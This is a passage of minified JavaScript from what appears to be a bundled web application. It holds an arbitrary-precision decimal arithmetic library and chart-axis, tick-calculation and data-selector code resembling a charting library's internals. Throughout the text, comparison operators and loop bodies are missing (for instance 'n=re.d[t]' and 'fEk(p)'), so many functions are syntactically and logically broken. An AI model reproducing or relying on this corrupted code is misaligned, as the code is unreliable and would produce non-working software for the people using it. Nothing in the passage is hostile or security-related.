i=="function")try{t!=null&&(c=i(t?.[0]))}catch{}else if(typeof i=="string"&&B_.test(i)){var f=B_.exec(i);if(f==null||f[1]==null||t==null)c=void 0;else{var h=+f[1];c=t[0]-h}}else c=t?.[0];if(l==="auto")t!=null&&(u=Math.max(...t));else if(Oe(l))u=l;else if(typeof l=="function")try{t!=null&&(u=l(t?.[1]))}catch{}else if(typeof l=="string"&&U_.test(l)){var p=U_.exec(l);if(p==null||p[1]==null||t==null)u=void 0;else{var m=+p[1];u=t[1]+m}}else u=t?.[1];var y=[c,u];if(Oi(y))return t==null?y:TN(y,t,n)}}}var Jl=1e9,MZ={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},Zx,ut=!0,dr="[DecimalError] ",ro=dr+"Invalid argument: ",Xx=dr+"Exponent out of range: ",es=Math.floor,Zi=Math.pow,jZ=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,$n,qt=1e7,ot=7,yk=9007199254740991,lh=es(yk/ot),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,l=this;if(e=new l.constructor(e),l.s!==e.s)return l.s||-e.s;if(l.e!==e.e)return l.e>e.e^l.s<0?1:-1;for(r=l.d.length,i=e.d.length,t=0,n=re.d[t]^l.s<0?1:-1;return r===i?0:r>i^l.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*ot;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return xa(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return nt(xa(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return Mt(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,l=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq($n))throw Error(dr+"NaN");if(n.s<1)throw Error(dr+(n.s?"NaN":"-Infinity"));return n.eq($n)?new r(0):(ut=!1,t=xa(Ic(n,l),Ic(e,l),l),ut=!0,nt(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?wk(t,e):bk(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(dr+"NaN");return n.s?(ut=!1,t=xa(n,e,0,1).times(e),ut=!0,n.minus(t)):nt(new r(n),i)};pe.naturalExponential=pe.exp=function(){return xk(this)};pe.naturalLogarithm=pe.ln=function(){return Ic(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?bk(t,e):wk(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ro+e);if(t=Mt(i)+1,r=i.d.length-1,n=r*ot+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,l,c,u=this,f=u.constructor;if(u.s<1){if(!u.s)return new f(0);throw Error(dr+"NaN")}for(e=Mt(u),ut=!1,i=Math.sqrt(+u),i==0||i==1/0?(t=Ir(u.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=es((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new f(t)):r=new f(i.toString()),n=f.precision,i=c=n+3;;)if(l=r,r=l.plus(xa(u,l,c+2)).times(.5),Ir(l.d).slice(0,c)===(t=Ir(r.d)).slice(0,c)){if(t=t.slice(c-3,c+1),i==c&&t=="4999"){if(nt(l,n+1,0),l.times(l).eq(u)){r=l;break}}else if(t!="9999")break;c+=4}return ut=!0,nt(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,l,c,u,f,h,p=this,m=p.constructor,y=p.d,x=(e=new m(e)).d;if(!p.s||!e.s)return new m(0);for(e.s*=p.s,n=p.e+e.e,f=y.length,h=x.length,f=0;){for(t=0,i=f+r;i>r;)u=l[i]+x[r]*y[i-r-1]+t,l[i--]=u%qt|0,t=u/qt|0;l[i]=(l[i]+t)%qt|0}for(;!l[--c];)l.pop();return t?++n:l.shift(),e.d=l,e.e=n,ut?nt(e,m.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Fr(e,0,Jl),t===void 0?t=r.rounding:Fr(t,0,8),nt(n,e+Mt(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=mo(r,!0):(Fr(e,0,Jl),t===void 0?t=i.rounding:Fr(t,0,8),r=nt(new i(r),e+1,t),n=mo(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?mo(i):(Fr(e,0,Jl),t===void 0?t=l.rounding:Fr(t,0,8),r=nt(new l(i),e+Mt(i)+1,t),n=mo(r.abs(),!1,e+Mt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return nt(new t(e),Mt(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,l,c,u=this,f=u.constructor,h=12,p=+(e=new f(e));if(!e.s)return new f($n);if(u=new f(u),!u.s){if(e.s<1)throw Error(dr+"Infinity");return u}if(u.eq($n))return u;if(r=f.precision,e.eq($n))return nt(u,r);if(t=e.e,n=e.d.length-1,c=t>=n,l=u.s,c){if((n=p<0?-p:p)<=yk){for(i=new f($n),t=Math.ceil(r/ot+4),ut=!1;n%2&&(i=i.times(u),MN(i.d,t)),n=es(n/2),n!==0;)u=u.times(u),MN(u.d,t);return ut=!0,e.s<0?new f($n).div(i):nt(i,r)}}else if(l<0)throw Error(dr+"NaN");return l=l<0&&e.d[Math.max(t,n)]&1?-1:1,u.s=1,ut=!1,i=e.times(Ic(u,r+h)),ut=!0,i=xk(i),i.s=l,i};pe.toPrecision=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?(n=Mt(i),r=mo(i,n<=l.toExpNeg||n>=l.toExpPos)):(Fr(e,1,Jl),t===void 0?t=l.rounding:Fr(t,0,8),i=nt(new l(i),e,t),n=Mt(i),r=mo(i,e<=n||n<=l.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Fr(e,1,Jl),t===void 0?t=r.rounding:Fr(t,0,8)),nt(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=Mt(e),n=e.constructor;return mo(e,t<=n.toExpNeg||t>=n.toExpPos)};function bk(e,t){var n,r,i,l,c,u,f,h,p=e.constructor,m=p.precision;if(!e.s||!t.s)return t.s||(t=new p(e)),ut?nt(t,m):t;if(f=e.d,h=t.d,c=e.e,i=t.e,f=f.slice(),l=c-i,l){for(l<0?(r=f,l=-l,u=h.length):(r=h,i=c,u=f.length),c=Math.ceil(m/ot),u=c>u?c+1:u+1,l>u&&(l=u,r.length=1),r.reverse();l--;)r.push(0);r.reverse()}for(u=f.length,l=h.length,u-l<0&&(l=u,r=h,h=f,f=r),n=0;l;)n=(f[--l]=f[l]+h[l]+n)/qt|0,f[l]%=qt;for(n&&(f.unshift(n),++i),u=f.length;f[--u]==0;)f.pop();return t.d=f,t.e=i,ut?nt(t,m):t}function Fr(e,t,n){if(e!==~~e||en)throw Error(ro+e)}function Ir(e){var t,n,r,i=e.length-1,l="",c=e[0];if(i>0){for(l+=c,t=1;tc?1:-1;else for(u=f=0;ui[u]?1:-1;break}return f}function n(r,i,l){for(var c=0;l--;)r[l]-=c,c=r[l]1;)r.shift()}return function(r,i,l,c){var u,f,h,p,m,y,x,S,w,O,A,_,T,j,M,P,R,I,B=r.constructor,q=r.s==i.s?1:-1,U=r.d,V=i.d;if(!r.s)return new B(r);if(!i.s)throw Error(dr+"Division by zero");for(f=r.e-i.e,R=V.length,M=U.length,x=new B(q),S=x.d=[],h=0;V[h]==(U[h]||0);)++h;if(V[h]>(U[h]||0)&&--f,l==null?_=l=B.precision:c?_=l+(Mt(r)-Mt(i))+1:_=l,_<0)return new B(0);if(_=_/ot+2|0,h=0,R==1)for(p=0,V=V[0],_++;(h1&&(V=e(V,p),U=e(U,p),R=V.length,M=U.length),j=R,w=U.slice(0,R),O=w.length;O=qt/2&&++P;do p=0,u=t(V,w,R,O),u<0?(A=w[0],R!=O&&(A=A*qt+(w[1]||0)),p=A/P|0,p>1?(p>=qt&&(p=qt-1),m=e(V,p),y=m.length,O=w.length,u=t(m,w,y,O),u==1&&(p--,n(m,R16)throw Error(Xx+Mt(e));if(!e.s)return new p($n);for(ut=!1,u=m,c=new p(.03125);e.abs().gte(.1);)e=e.times(c),h+=5;for(r=Math.log(Zi(2,h))/Math.LN10*2+5|0,u+=r,n=i=l=new p($n),p.precision=u;;){if(i=nt(i.times(e),u),n=n.times(++f),c=l.plus(xa(i,n,u)),Ir(c.d).slice(0,u)===Ir(l.d).slice(0,u)){for(;h--;)l=nt(l.times(l),u);return p.precision=m,t==null?(ut=!0,nt(l,m)):l}l=c}}function Mt(e){for(var t=e.e*ot,n=e.d[0];n>=10;n/=10)t++;return t}function Hy(e,t,n){if(t>e.LN10.sd())throw ut=!0,n&&(e.precision=n),Error(dr+"LN10 precision limit exceeded");return nt(new e(e.LN10),t)}function mi(e){for(var t="";e--;)t+="0";return t}function Ic(e,t){var n,r,i,l,c,u,f,h,p,m=1,y=10,x=e,S=x.d,w=x.constructor,O=w.precision;if(x.s<1)throw Error(dr+(x.s?"NaN":"-Infinity"));if(x.eq($n))return new w(0);if(t==null?(ut=!1,h=O):h=t,x.eq(10))return t==null&&(ut=!0),Hy(w,h);if(h+=y,w.precision=h,n=Ir(S),r=n.charAt(0),l=Mt(x),Math.abs(l)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)x=x.times(e),n=Ir(x.d),r=n.charAt(0),m++;l=Mt(x),r>1?(x=new w("0."+n),l++):x=new w(r+"."+n.slice(1))}else return f=Hy(w,h+2,O).times(l+""),x=Ic(new w(r+"."+n.slice(1)),h-y).plus(f),w.precision=O,t==null?(ut=!0,nt(x,O)):x;for(u=c=x=xa(x.minus($n),x.plus($n),h),p=nt(x.times(x),h),i=3;;){if(c=nt(c.times(p),h),f=u.plus(xa(c,new w(i),h)),Ir(f.d).slice(0,h)===Ir(u.d).slice(0,h))return u=u.times(2),l!==0&&(u=u.plus(Hy(w,h+2,O).times(l+""))),u=xa(u,new w(m),h),w.precision=O,t==null?(ut=!0,nt(u,O)):u;u=f,i+=2}}function NN(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=es(n/ot),e.d=[],r=(n+1)%ot,n<0&&(r+=ot),rlh||e.e<-lh))throw Error(Xx+n)}else e.s=0,e.e=0,e.d=[0];return e}function nt(e,t,n){var r,i,l,c,u,f,h,p,m=e.d;for(c=1,l=m[0];l>=10;l/=10)c++;if(r=t-c,r<0)r+=ot,i=t,h=m[p=0];else{if(p=Math.ceil((r+1)/ot),l=m.length,p>=l)return e;for(h=l=m[p],c=1;l>=10;l/=10)c++;r%=ot,i=r-ot+c}if(n!==void 0&&(l=Zi(10,c-i-1),u=h/l%10|0,f=t<0||m[p+1]!==void 0||h%l,f=n<4?(u||f)&&(n==0||n==(e.s<0?3:2)):u>5||u==5&&(n==4||f||n==6&&(r>0?i>0?h/Zi(10,c-i):0:m[p-1])%10&1||n==(e.s<0?8:7))),t<1||!m[0])return f?(l=Mt(e),m.length=1,t=t-l-1,m[0]=Zi(10,(ot-t%ot)%ot),e.e=es(-t/ot)||0):(m.length=1,m[0]=e.e=e.s=0),e;if(r==0?(m.length=p,l=1,p--):(m.length=p+1,l=Zi(10,ot-r),m[p]=i>0?(h/Zi(10,c-i)%Zi(10,i)|0)*l:0),f)for(;;)if(p==0){(m[0]+=l)==qt&&(m[0]=1,++e.e);break}else{if(m[p]+=l,m[p]!=qt)break;m[p--]=0,l=1}for(r=m.length;m[--r]===0;)m.pop();if(ut&&(e.e>lh||e.e<-lh))throw Error(Xx+Mt(e));return e}function wk(e,t){var n,r,i,l,c,u,f,h,p,m,y=e.constructor,x=y.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new y(e),ut?nt(t,x):t;if(f=e.d,m=t.d,r=t.e,h=e.e,f=f.slice(),c=h-r,c){for(p=c<0,p?(n=f,c=-c,u=m.length):(n=m,r=h,u=f.length),i=Math.max(Math.ceil(x/ot),u)+2,c>i&&(c=i,n.length=1),n.reverse(),i=c;i--;)n.push(0);n.reverse()}else{for(i=f.length,u=m.length,p=i0;--i)f[u++]=0;for(i=m.length;i>c;){if(f[--i]0?l=l.charAt(0)+"."+l.slice(1)+mi(r):c>1&&(l=l.charAt(0)+"."+l.slice(1)),l=l+(i<0?"e":"e+")+i):i<0?(l="0."+mi(-i-1)+l,n&&(r=n-c)>0&&(l+=mi(r))):i>=c?(l+=mi(i+1-c),n&&(r=n-i-1)>0&&(l=l+"."+mi(r))):((r=i+1)0&&(i+1===c&&(l+="."),l+=mi(r))),e.s<0?"-"+l:l}function MN(e,t){if(e.length>t)return e.length=t,!0}function Sk(e){var t,n,r;function i(l){var c=this;if(!(c instanceof i))return new i(l);if(c.constructor=i,l instanceof i){c.s=l.s,c.e=l.e,c.d=(l=l.d)?l.slice():l;return}if(typeof l=="number"){if(l*0!==0)throw Error(ro+l);if(l>0)c.s=1;else if(l<0)l=-l,c.s=-1;else{c.s=0,c.e=0,c.d=[0];return}if(l===~~l&&l<1e7){c.e=0,c.d=[l];return}return NN(c,l.toString())}else if(typeof l!="string")throw Error(ro+l);if(l.charCodeAt(0)===45?(l=l.slice(1),c.s=-1):c.s=1,jZ.test(l))NN(c,l);else throw Error(ro+l)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=Sk,i.config=i.set=PZ,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ro+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ro+n+": "+r);return this}var Zx=Sk(MZ);$n=new Zx(1);const Xe=Zx;var RZ=e=>e,Ok={},Ek=e=>e===Ok,jN=e=>function t(){return arguments.length===0||arguments.length===1&&Ek(arguments.length<=0?void 0:arguments[0])?t:e(...arguments)},Ak=(e,t)=>e===1?t:jN(function(){for(var n=arguments.length,r=new Array(n),i=0;ic!==Ok).length;return l>=e?t(...r):Ak(e-l,jN(function(){for(var c=arguments.length,u=new Array(c),f=0;fEk(p)?u.shift():p);return t(...h,...u)}))}),DZ=e=>Ak(e.length,e),lb=(e,t)=>{for(var n=[],r=e;rArray.isArray(t)?t.map(e):Object.keys(t).map(n=>t[n]).map(e)),LZ=function(){for(var t=arguments.length,n=new Array(t),r=0;rf(u),l(...arguments))}};function Ck(e){var t;return e===0?t=1:t=Math.floor(new Xe(e).abs().log(10).toNumber())+1,t}function _k(e,t,n){for(var r=new Xe(e),i=0,l=[];r.lt(t)&&i<1e5;)l.push(r.toNumber()),r=r.add(n),i++;return l}var Tk=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},Nk=(e,t,n)=>{if(e.lte(0))return new Xe(0);var r=Ck(e.toNumber()),i=new Xe(10).pow(r),l=e.div(i),c=r!==1?.05:.1,u=new Xe(Math.ceil(l.div(c).toNumber())).add(n).mul(c),f=u.mul(i);return t?new Xe(f.toNumber()):new Xe(Math.ceil(f.toNumber()))},IZ=(e,t,n)=>{var r=new Xe(1),i=new Xe(e);if(!i.isint()&&n){var l=Math.abs(e);l<1?(r=new Xe(10).pow(Ck(e)-1),i=new Xe(Math.floor(i.div(r).toNumber())).mul(r)):l>1&&(i=new Xe(Math.floor(e)))}else e===0?i=new Xe(Math.floor((t-1)/2)):n||(i=new Xe(Math.floor(e)));var c=Math.floor((t-1)/2),u=LZ(kZ(f=>i.add(new Xe(f-c).mul(r)).toNumber()),lb);return u(0,t)},Mk=function(t,n,r,i){var l=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Xe(0),tickMin:new Xe(0),tickMax:new Xe(0)};var c=Nk(new Xe(n).sub(t).div(r-1),i,l),u;t<=0&&n>=0?u=new Xe(0):(u=new Xe(t).add(n).div(2),u=u.sub(new Xe(u).mod(c)));var f=Math.ceil(u.sub(t).div(c).toNumber()),h=Math.ceil(new Xe(n).sub(u).div(c).toNumber()),p=f+h+1;return p>r?Mk(t,n,r,i,l+1):(p0?h+(r-p):h,f=n>0?f:f+(r-p)),{step:c,tickMin:u.sub(new Xe(f).mul(c)),tickMax:u.add(new Xe(h).mul(c))})},zZ=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,c=Math.max(i,2),[u,f]=Tk([n,r]);if(u===-1/0||f===1/0){var h=f===1/0?[u,...lb(0,i-1).map(()=>1/0)]:[...lb(0,i-1).map(()=>-1/0),f];return n>r?h.reverse():h}if(u===f)return IZ(u,i,l);var{step:p,tickMin:m,tickMax:y}=Mk(u,f,c,l,0),x=_k(m,y.add(new Xe(.1).mul(p)),p);return n>r?x.reverse():x},$Z=function(t,n){var[r,i]=t,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[c,u]=Tk([r,i]);if(c===-1/0||u===1/0)return[r,i];if(c===u)return[c];var f=Math.max(n,2),h=Nk(new Xe(u).sub(c).div(f-1),l,0),p=[..._k(new Xe(c),new Xe(u),h),u];return l===!1&&(p=p.map(m=>Math.round(m))),r>i?p.reverse():p},jk=e=>e.rootProps.maxBarSize,BZ=e=>e.rootProps.barGap,Pk=e=>e.rootProps.barCategoryGap,UZ=e=>e.rootProps.barSize,iu=e=>e.rootProps.stackOffset,Rk=e=>e.rootProps.reverseStackOrder,Qx=e=>e.options.chartName,Jx=e=>e.rootProps.syncId,Dk=e=>e.rootProps.syncMethod,e1=e=>e.options.eventEmitter,an={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},ma={allowDuplicatedCategory:!0,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"category"},In={allowDataOverflow:!1,allowDuplicatedCategory:!0,radiusAxisId:0,scale:"auto",tick:!0,tickCount:5,type:"number"},Ap=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t},HZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!1,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:ma.reversed,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:ma.type,unit:void 0},qZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:In.type,unit:void 0},FZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:ma.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:"number",unit:void 0},VZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:"category",unit:void 0},t1=(e,t)=>e.polarAxis.angleAxis[t]!=null?e.polarAxis.angleAxis[t]:e.layout.layoutType==="radial"?FZ:HZ,n1=(e,t)=>e.polarAxis.radiusAxis[t]!=null?e.polarAxis.radiusAxis[t]:e.layout.layoutType==="radial"?VZ:qZ,Cp=e=>e.polarOptions,r1=G([Pa,Ra,kt],jD),kk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.innerRadius,t,0)}),Lk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.outerRadius,t,t*.8)}),KZ=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},Ik=G([Cp],KZ);G([t1,Ik],Ap);var zk=G([r1,kk,Lk],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});G([n1,zk],Ap);var $k=G([Fe,Cp,kk,Lk,Pa,Ra],(e,t,n,r,i,l)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:c,cy:u,startAngle:f,endAngle:h}=t;return{cx:on(c,i,i/2),cy:on(u,l,l/2),innerRadius:n,outerRadius:r,startAngle:f,endAngle:h,clockWise:!1}}}),dt=(e,t)=>t,ou=(e,t,n)=>n;function a1(e){return e?.id}function Bk(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:l}=n,c=new Map;return e.forEach(u=>{var f,h=(f=u.data)!==null&&f!==void 0?f:r;if(!(h==null||h.length===0)){var p=a1(u);h.forEach((m,y)=>{var x=l==null||i?y:String(lt(m,l,null)),S=lt(m,u.dataKey,0),w;c.has(x)?w=c.get(x):w={},Object.assign(w,{[p]:S}),c.set(x,w)})}}),Array.from(c.values())}function _p(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Tp=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Np(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function YZ(e,t){if(e.length===t.length){for(var n=0;n{var t=Fe(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ts=e=>e.tooltip.settings.axisId;function PN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sh(e){for(var t=1;te.cartesianAxis.xAxis[t],La=(e,t)=>{var n=Uk(e,t);return n??Ut},Ht={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:sb,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qc},Hk=(e,t)=>e.cartesianAxis.yAxis[t],Ia=(e,t)=>{var n=Hk(e,t);return n??Ht},ZZ={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},i1=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZZ},pt=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"zAxis":return i1(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QZ=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},lu=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},qk=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function o1(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var l1=e=>e.graphicalItems.cartesianItems,JZ=G([dt,ou],o1),s1=(e,t,n)=>e.filter(n).filter(r=>t?.includeHidden===!0?!0:!r.hide),su=G([l1,pt,JZ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),Fk=G([su],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(_p)),Vk=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),eQ=G([su],Vk),c1=e=>e.map(t=>t.data).filter(Boolean).flat(1),tQ=G([su],c1,{memoizeOptions:{resultEqualityCheck:Np}}),u1=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},f1=G([tQ,vk],u1),d1=(e,t,n)=>t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:lt(i,r)}))):e.map(r=>({value:r})),Mp=G([f1,pt,su],d1);function Kk(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function md(e){if(qr(e)||e instanceof Date){var t=Number(e);if(ht(t))return t}}function RN(e){if(Array.isArray(e)){var t=[md(e[0]),md(e[1])];return Oi(t)?t:void 0}var n=md(e);if(n!=null)return[n,n]}function Na(e){return e.map(md).filter(pF)}function nQ(e,t,n){return!n||typeof t!="number"||Hr(t)?[]:n.length?Na(n.flatMap(r=>{var i=lt(e,r.dataKey),l,c;if(Array.isArray(i)?[l,c]=i:l=c=i,!(!ht(l)||!ht(c)))return[t-l,t+c]})):[]}var zt=e=>{var t=It(e),n=ts(e);return lu(e,t,n)},cu=G([zt],e=>e?.dataKey),rQ=G([Fk,vk,zt],Bk),Yk=(e,t,n,r)=>{var i={},l=t.reduce((c,u)=>{if(u.stackId==null)return c;var f=c[u.stackId];return f==null&&(f=[]),f.push(u),c[u.stackId]=f,c},i);return Object.fromEntries(Object.entries(l).map(c=>{var[u,f]=c,h=r?[...f].reverse():f,p=h.map(a1);return[u,{stackedData:PK(e,p,n),graphicalItems:h}]}))},cb=G([rQ,Fk,iu,Rk],Yk),Gk=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:l}=t;if(r==null&&n!=="zAxis"){var c=IK(e,i,l);if(!(c!=null&&c[0]===0&&c[1]===0))return c}},aQ=G([pt],e=>e.allowDataOverflow),h1=e=>{var t;if(e==null||!("domain"in e))return sb;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Na(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e?.domain)!==null&&t!==void 0?t:sb},p1=G([pt],h1),m1=G([p1,aQ],gk),iQ=G([cb,ka,dt,m1],Gk,{memoizeOptions:{resultEqualityCheck:Tp}}),jp=e=>e.errorBars,oQ=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>Kk(n,r)),ch=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var l,c;if(n.length>0&&e.forEach(u=>{n.forEach(f=>{var h,p,m=(h=r[f.id])===null||h===void 0?void 0:h.filter(A=>Kk(i,A)),y=lt(u,(p=t.dataKey)!==null&&p!==void 0?p:f.dataKey),x=nQ(u,y,m);if(x.length>=2){var S=Math.min(...x),w=Math.max(...x);(l==null||Sc)&&(c=w)}var O=RN(y);O!=null&&(l=l==null?O[0]:Math.min(l,O[0]),c=c==null?O[1]:Math.max(c,O[1]))})}),t?.dataKey!=null&&e.forEach(u=>{var f=RN(lt(u,t.dataKey));f!=null&&(l=l==null?f[0]:Math.min(l,f[0]),c=c==null?f[1]:Math.max(c,f[1]))}),ht(l)&&ht(c))return[l,c]},lQ=G([f1,pt,eQ,jp,dt],v1,{memoizeOptions:{resultEqualityCheck:Tp}});function sQ(e){var{value:t}=e;if(qr(t)||t instanceof Date)return t}var cQ=(e,t,n)=>{var r=e.map(sQ).filter(i=>i!=null);return 